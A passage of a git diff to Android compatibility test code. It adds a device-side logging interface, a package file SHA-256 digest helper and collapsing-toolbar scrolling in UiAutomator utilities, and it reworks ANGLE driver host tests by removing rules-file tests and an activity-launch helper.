diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
new file mode 100644
index 0000000..dbe5128
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.util.Log;
+import com.android.compatibility.common.util.MultiLog;
+
+/** Implement the deviceside interface for logging on host+device-common code. */
+public interface MultiLogDevice extends MultiLog {
+    /** {@inheritDoc} */
+    @Override
+    default void logInfo(String logTag, String format, Object... args) {
+        Log.i(logTag, String.format(format, args));
+    }
+
+    /** {@inheritDoc} */
+    @Override
+    default void logDebug(String logTag, String format, Object... args) {
+        Log.d(logTag, String.format(format, args));
+    }
+
+    /** {@inheritDoc} */
+    @Override
+    default void logWarn(String logTag, String format, Object... args) {
+        Log.w(logTag, String.format(format, args));
+    }
+
+    /** {@inheritDoc} */
+    @Override
+    default void logError(String logTag, String format, Object... args) {
+        Log.e(logTag, String.format(format, args));
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
index 728cbc6..e289a41 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -19,10 +19,15 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.math.BigInteger;
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
 
@@ -36,6 +41,7 @@
     private static final int SYSTEM_APP_MASK =
             ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
     private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+    private static final int READ_BLOCK_SIZE = 1024;
 
     /** Returns true if a package with the given name exists on the device */
     public static boolean exists(String packageName) {
@@ -147,6 +153,47 @@
         return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
     }
 
+
+    /**
+     * Compute the file SHA digest for a package.
+     * @param packageInfo the info of the package for which the file SHA digest is requested
+     * @return the file SHA digest
+     */
+    public static String computePackageFileDigest(PackageInfo pkgInfo) {
+        ApplicationInfo applicationInfo;
+        try {
+            applicationInfo = getPackageManager().getApplicationInfo(pkgInfo.packageName, 0);
+        } catch (NameNotFoundException e) {
+            Log.e(TAG, "Exception: " + e);
+            return null;
+        }
+        File apkFile = new File(applicationInfo.publicSourceDir);
+        return computeFileHash(apkFile);
+    }
+
+    private static String computeFileHash(File srcFile) {
+        MessageDigest md;
+        try {
+            md = MessageDigest.getInstance("SHA-256");
+        } catch (NoSuchAlgorithmException e) {
+            Log.e(TAG, "NoSuchAlgorithmException:" + e.getMessage());
+            return null;
+        }
+        String result =  null;
+        try (FileInputStream fis = new FileInputStream(srcFile)) {
+            byte[] dataBytes = new byte[READ_BLOCK_SIZE];
+            int nread = 0;
+            while ((nread = fis.read(dataBytes)) != -1) {
+                md.update(dataBytes, 0, nread);
+            }
+            BigInteger bigInt = new BigInteger(1, md.digest());
+            result = String.format("%32s", bigInt.toString(16)).replace(' ', '0');
+        } catch (IOException e) {
+            Log.e(TAG, "IOException:" + e.getMessage());
+        }
+        return result;
+    }
+
     private static boolean hasDeviceFeature(final String requiredFeature) {
         return InstrumentationRegistry.getContext()
                 .getPackageManager()
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index e16d7a8..639c871 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -18,6 +18,8 @@
 
 import static org.junit.Assert.assertNotNull;
 
+import android.graphics.Rect;
+import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
@@ -28,9 +30,17 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import java.util.regex.Pattern;
+
 public class UiAutomatorUtils {
     private UiAutomatorUtils() {}
 
+    /** Default swipe deadzone percentage. See {@link UiScrollable}. */
+    private static final double DEFAULT_SWIPE_DEADZONE_PCT = 0.1;
+
+    private static Pattern sCollapsingToolbarResPattern =
+            Pattern.compile(".*:id/collapsing_toolbar");
+
     public static UiDevice getUiDevice() {
         return UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
     }
@@ -61,15 +71,22 @@
 
         boolean isAtEnd = false;
         boolean wasScrolledUpAlready = false;
+        boolean scrolledPastCollapsibleToolbar = false;
+
         while (view == null && start + timeoutMs > System.currentTimeMillis()) {
             view = getUiDevice().wait(Until.findObject(selector), 1000);
 
             if (view == null) {
+                final double deadZone = !(FeatureUtil.isWatch() || FeatureUtil.isTV())
+                        ? 0.25 : DEFAULT_SWIPE_DEADZONE_PCT;
                 UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
-                if (!FeatureUtil.isWatch() && !FeatureUtil.isTV()) {
-                    scrollable.setSwipeDeadZonePercentage(0.25);
-                }
+                scrollable.setSwipeDeadZonePercentage(deadZone);
                 if (scrollable.exists()) {
+                    if (!scrolledPastCollapsibleToolbar) {
+                        scrollPastCollapsibleToolbar(scrollable, deadZone);
+                        scrolledPastCollapsibleToolbar = true;
+                        continue;
+                    }
                     if (isAtEnd) {
                         if (wasScrolledUpAlready) {
                             return null;
@@ -77,12 +94,44 @@
                         scrollable.scrollToBeginning(Integer.MAX_VALUE);
                         isAtEnd = false;
                         wasScrolledUpAlready = true;
+                        scrolledPastCollapsibleToolbar = false;
                     } else {
-                        isAtEnd = !scrollable.scrollForward();
+                        Rect boundsBeforeScroll = scrollable.getBounds();
+                        boolean scrollAtStartOrEnd = !scrollable.scrollForward();
+                        Rect boundsAfterScroll = scrollable.getBounds();
+                        isAtEnd = scrollAtStartOrEnd && boundsBeforeScroll.equals(
+                                boundsAfterScroll);
                     }
+                } else {
+                    // There might be a collapsing toolbar, but no scrollable view. Try to collapse
+                    scrollPastCollapsibleToolbar(null, deadZone);
                 }
             }
         }
         return view;
     }
+
+    private static void scrollPastCollapsibleToolbar(UiScrollable scrollable, double deadZone)
+            throws UiObjectNotFoundException {
+        final UiObject2 collapsingToolbar = getUiDevice().findObject(
+                By.res(sCollapsingToolbarResPattern));
+        if (collapsingToolbar == null) {
+            return;
+        }
+
+        final int steps = 55; // == UiScrollable.SCROLL_STEPS
+        if (scrollable != null && scrollable.exists()) {
+            final Rect scrollableBounds = scrollable.getVisibleBounds();
+            final int distanceToSwipe = collapsingToolbar.getVisibleBounds().height() / 2;
+            getUiDevice().drag(scrollableBounds.centerX(), scrollableBounds.centerY(),
+                    scrollableBounds.centerX(), scrollableBounds.centerY() - distanceToSwipe,
+                    steps);
+        } else {
+            // There might be a collapsing toolbar, but no scrollable view. Try to collapse
+            int maxY = getUiDevice().getDisplayHeight();
+            int minY = (int) (deadZone * maxY);
+            maxY -= minY;
+            getUiDevice().drag(0, maxY, 0, minY, steps);
+        }
+    }
 }
diff --git a/hostsidetests/accounts/AndroidTest.xml b/hostsidetests/accounts/AndroidTest.xml
index d267630..8603a71 100644
--- a/hostsidetests/accounts/AndroidTest.xml
+++ b/hostsidetests/accounts/AndroidTest.xml
@@ -16,7 +16,7 @@
 <configuration description="Config for the CTS accounts host tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 794ea69..47ce8e0 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -20,7 +20,6 @@
     name: "CtsAngleIntegrationHostTestCases",
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.java"],
-    java_resource_dirs: ["assets/"],
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/hostsidetests/angle/assets/emptyRules.json b/hostsidetests/angle/assets/emptyRules.json
deleted file mode 100644
index 77fa0c0..0000000
--- a/hostsidetests/angle/assets/emptyRules.json
+++ /dev/null
@@ -1,8 +0,0 @@
-{
-  "Rules":[
-    {
-      "Rule":"Default Rule (i.e. use native driver)",
-      "UseANGLE":false
-    }
-  ]
-}
diff --git a/hostsidetests/angle/assets/enableAngleRules.json b/hostsidetests/angle/assets/enableAngleRules.json
deleted file mode 100644
index 90f4893..0000000
--- a/hostsidetests/angle/assets/enableAngleRules.json
+++ /dev/null
@@ -1,17 +0,0 @@
-{
-  "Rules":[
-    {
-      "Rule":"Default Rule (i.e. use native driver)",
-      "UseANGLE":false
-    },
-    {
-      "Rule":"Supported application(s) (e.g. Maps on Google devices)",
-      "UseANGLE":true,
-      "Applications":[
-        {
-          "AppName":"com.android.angleIntegrationTest.driverTest"
-        }
-      ]
-    }
-  ]
-}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
index 45bb43e..e35e270 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java
@@ -16,6 +16,7 @@
 package android.angle.cts;
 
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.PackageInfo;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import java.util.HashMap;
@@ -34,7 +35,6 @@
     static final String SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX = "show_angle_in_use_dialog_box";
 
     // System Properties
-    static final String PROPERTY_GFX_ANGLE_SUPPORTED = "ro.gfx.angle.supported";
     static final String PROPERTY_TEMP_RULES_FILE = "debug.angle.rules";
 
     // Rules File
@@ -43,6 +43,7 @@
     static final String DEVICE_TEMP_RULES_FILE_PATH = DEVICE_TEMP_RULES_FILE_DIRECTORY + "/" + DEVICE_TEMP_RULES_FILE_FILENAME;
 
     // ANGLE
+    static final String ANGLE_PACKAGE_NAME = "com.android.angle";
     static final String ANGLE_DRIVER_TEST_PKG = "com.android.angleIntegrationTest.driverTest";
     static final String ANGLE_DRIVER_TEST_SEC_PKG = "com.android.angleIntegrationTest.driverTestSecondary";
     static final String ANGLE_DRIVER_TEST_CLASS = "AngleDriverTestActivity";
@@ -55,7 +56,6 @@
             ANGLE_DRIVER_TEST_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
     static final String ANGLE_DRIVER_TEST_SEC_ACTIVITY =
             ANGLE_DRIVER_TEST_SEC_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
-    static final String ANGLE_MAIN_ACTIVTY = "android.app.action.ANGLE_FOR_ANDROID";
 
     enum OpenGlDriverChoice {
         DEFAULT,
@@ -104,10 +104,10 @@
         setProperty(device, PROPERTY_TEMP_RULES_FILE, "\"\"");
     }
 
-    static boolean isAngleLoadable(ITestDevice device) throws Exception {
-        String angleSupported = device.getProperty(PROPERTY_GFX_ANGLE_SUPPORTED);
+    static boolean isAngleInstalled(ITestDevice device) throws Exception {
+        PackageInfo info = device.getAppPackageInfo(ANGLE_PACKAGE_NAME);
 
-        return (angleSupported != null) && (angleSupported.equals("true"));
+        return (info != null);
     }
 
     static boolean isNativeDriverAngle(ITestDevice device) throws Exception {
@@ -116,12 +116,6 @@
         return (driverProp != null) && (driverProp.equals("angle"));
     }
 
-    static void startActivity(ITestDevice device, String action) throws Exception {
-        // Run the ANGLE activity so it'll clear up any 'default' settings.
-        device.executeShellCommand("am start --user " + device.getCurrentUser() +
-                " -S -W -a \"" + action + "\"");
-    }
-
     static void stopPackage(ITestDevice device, String pkgName) throws Exception {
         device.executeShellCommand("am force-stop " + pkgName);
     }
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index 9431088..a78f953 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -62,8 +62,6 @@
 
         setAndValidateAngleDevOptionPkgDriver(pkgName, sDriverGlobalSettingMap.get(driver));
 
-        startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
         CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
                 driver + ") with method '" + sDriverTestMethodMap.get(driver) + "'");
 
@@ -101,7 +99,7 @@
      */
     @Test
     public void testEnableAngleForAll() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -126,7 +124,7 @@
      */
     @Test
     public void testUseDefaultDriver() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
@@ -144,7 +142,7 @@
      */
     @Test
     public void testUseAngleDriver() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
@@ -162,7 +160,7 @@
      */
     @Test
     public void testUseNativeDriver() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
@@ -180,7 +178,7 @@
      */
     @Test
     public void testSettingsLengthMismatch() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
@@ -204,7 +202,7 @@
      */
     @Test
     public void testUseInvalidDriver() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
@@ -221,7 +219,7 @@
      */
     @Test
     public void testUpdateDriverValues() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
@@ -244,7 +242,7 @@
      */
     @Test
     public void testMultipleDevOptionsAngleNative() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
@@ -269,7 +267,7 @@
      */
     @Test
     public void testMultipleUpdateDriverValues() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
@@ -288,8 +286,6 @@
                         sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
                                 sDriverGlobalSettingMap.get(firstDriver));
 
-                startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
                 CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
                         firstDriver + ") with method '" + sDriverTestMethodMap.get(firstDriver) + "'");
 
@@ -302,8 +298,6 @@
                         sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
                                 sDriverGlobalSettingMap.get(secondDriver));
 
-                startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
                 CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
                         secondDriver + ") with method '" + sDriverTestMethodMap.get(secondDriver) + "'");
 
@@ -311,9 +305,6 @@
                         ANGLE_DRIVER_TEST_SEC_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
                         sDriverTestMethodMap.get(secondDriver));
 
-                // Make sure the first PKG's driver value was not modified
-                startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
                 String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
                 String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
                 CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
@@ -327,129 +318,6 @@
     }
 
     /**
-     * Test setting a driver to 'default' does not keep the value in the settings when the ANGLE
-     * activity runs and cleans things up.
-     */
-    @Test
-    public void testDefaultNotInSettings() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
-
-        // Install the package so the setting isn't removed because the package isn't present.
-        installApp(ANGLE_DRIVER_TEST_APP);
-
-        setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
-                sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
-
-        // Run the ANGLE activity so it'll clear up any 'default' settings.
-        startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
-        String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
-        String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
-        CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
-                devOptionPkg + "', driver value = '" + devOptionValue + "'");
-
-        Assert.assertEquals(
-                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
-                "", devOptionPkg);
-        Assert.assertEquals(
-                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
-                "", devOptionValue);
-    }
-
-    /**
-     * Test uninstalled PKGs have their settings removed.
-     */
-    @Test
-    public void testUninstalledPkgsNotInSettings() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
-
-        uninstallPackage(getDevice(), ANGLE_DRIVER_TEST_PKG);
-
-        setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG,
-                sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
-
-        // Run the ANGLE activity so it'll clear up any 'default' settings.
-        startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
-        String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
-        String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
-        CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
-                devOptionPkg + "', driver value = '" + devOptionValue + "'");
-
-        Assert.assertEquals(
-                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
-                "", devOptionPkg);
-        Assert.assertEquals(
-                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
-                "", devOptionValue);
-    }
-
-    /**
-     * Test different PKGs can have different developer option values.
-     * Primary: ANGLE
-     * Secondary: Default
-     *
-     * Verify the PKG set to 'default' is removed from the settings.
-     */
-    @Test
-    public void testMultipleDevOptionsAngleDefault() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
-
-        installApp(ANGLE_DRIVER_TEST_APP);
-        installApp(ANGLE_DRIVER_TEST_SEC_APP);
-
-        setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG,
-                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
-                        sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
-
-        // Run the ANGLE activity so it'll clear up any 'default' settings.
-        startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
-        String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
-        Assert.assertEquals(
-                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOption + "'",
-                ANGLE_DRIVER_TEST_PKG, devOption);
-
-        devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
-        Assert.assertEquals(
-                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOption + "'",
-                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE), devOption);
-    }
-
-    /**
-     * Test different PKGs can have different developer option values.
-     * Primary: ANGLE
-     * Secondary: Default
-     *
-     * Verify the uninstalled PKG is removed from the settings.
-     */
-    @Test
-    public void testMultipleDevOptionsAngleNativeUninstall() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
-
-        installApp(ANGLE_DRIVER_TEST_SEC_APP);
-
-        setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG,
-                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
-                        sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
-
-        // Run the ANGLE activity so it'll clear up any 'default' settings.
-        startActivity(getDevice(), ANGLE_MAIN_ACTIVTY);
-
-        String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS);
-        String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES);
-        CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
-                devOptionPkg + "', driver value = '" + devOptionValue + "'");
-
-        Assert.assertEquals(
-                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
-                ANGLE_DRIVER_TEST_SEC_PKG, devOptionPkg);
-        Assert.assertEquals(
-                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
-                sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE), devOptionValue);
-    }
-
-    /**
      * Test that the "ANGLE In Use" dialog box can be enabled when ANGLE is used.
      *
      * We can't actually make sure the dialog box shows up, just that enabling it and attempting to
@@ -457,7 +325,7 @@
      */
     @Test
     public void testAngleInUseDialogBoxWithAngle() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
@@ -473,7 +341,7 @@
      */
     @Test
     public void testAngleInUseDialogBoxWithNative() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeTrue(isAngleInstalled(getDevice()));
         Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
deleted file mode 100644
index 4f0859e..0000000
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.angle.cts;
-
-import static android.angle.cts.CtsAngleCommon.*;
-
-import com.google.common.io.ByteStreams;
-import com.google.common.io.Files;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.util.FileUtil;
-
-import java.io.File;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/**
- * Tests ANGLE Rules File Opt-In/Out functionality.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsAngleRulesFileTest extends BaseHostJUnit4Test {
-
-    private final String TAG = this.getClass().getSimpleName();
-
-    private File mRulesFile;
-    private String mAllowList;
-
-    // Rules Files
-    private static final String RULES_FILE_EMPTY = "emptyRules.json";
-    private static final String RULES_FILE_ENABLE_ANGLE = "enableAngleRules.json";
-
-    private void pushRulesFile(String hostFilename) throws Exception {
-        byte[] rulesFileBytes =
-                ByteStreams.toByteArray(getClass().getResourceAsStream("/" + hostFilename));
-
-        Assert.assertTrue("Loaded empty rules file", rulesFileBytes.length > 0); // validity check
-        mRulesFile = File.createTempFile("rulesFile", "tempRules.json");
-        Files.write(rulesFileBytes, mRulesFile);
-
-        Assert.assertTrue(getDevice().pushFile(mRulesFile, DEVICE_TEMP_RULES_FILE_PATH));
-
-        setProperty(getDevice(), PROPERTY_TEMP_RULES_FILE, DEVICE_TEMP_RULES_FILE_PATH);
-    }
-
-    private void setAndValidateAngleDevOptionAllowlist(String allowList) throws Exception {
-        // SETTINGS_GLOBAL_ALLOWLIST
-        setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST, allowList);
-
-        String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST);
-        Assert.assertEquals(
-            "Developer option '" + SETTINGS_GLOBAL_ALLOWLIST +
-                "' was not set correctly: '" + devOption + "'",
-            allowList, devOption);
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        clearSettings(getDevice());
-
-        mAllowList = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST);
-
-        final String allowlist = ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG;
-        setAndValidateAngleDevOptionAllowlist(allowlist);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        clearSettings(getDevice());
-
-        setAndValidateAngleDevOptionAllowlist(mAllowList);
-
-        FileUtil.deleteFile(mRulesFile);
-    }
-
-    /**
-     * Test ANGLE is not loaded when an empty rules file is used.
-     */
-    @Test
-    public void testEmptyRulesFile() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
-        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
-
-        pushRulesFile(RULES_FILE_EMPTY);
-
-        installPackage(ANGLE_DRIVER_TEST_APP);
-
-        runDeviceTests(ANGLE_DRIVER_TEST_PKG,
-                ANGLE_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
-                ANGLE_DRIVER_TEST_NATIVE_METHOD);
-    }
-
-    /**
-     * Test ANGLE is loaded for only the PKG the rules file specifies.
-     */
-    @Test
-    public void testEnableAngleRulesFile() throws Exception {
-        Assume.assumeTrue(isAngleLoadable(getDevice()));
-        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
-
-        pushRulesFile(RULES_FILE_ENABLE_ANGLE);
-
-        installPackage(ANGLE_DRIVER_TEST_APP);
-        installPackage(ANGLE_DRIVER_TEST_SEC_APP);
-
-        runDeviceTests(ANGLE_DRIVER_TEST_PKG,
-                ANGLE_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
-                ANGLE_DRIVER_TEST_ANGLE_METHOD);
-
-        runDeviceTests(ANGLE_DRIVER_TEST_SEC_PKG,
-                ANGLE_DRIVER_TEST_SEC_PKG + "." + ANGLE_DRIVER_TEST_CLASS,
-                ANGLE_DRIVER_TEST_NATIVE_METHOD);
-    }
-}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
index 1006c47..3c67292 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
@@ -150,7 +150,7 @@
 
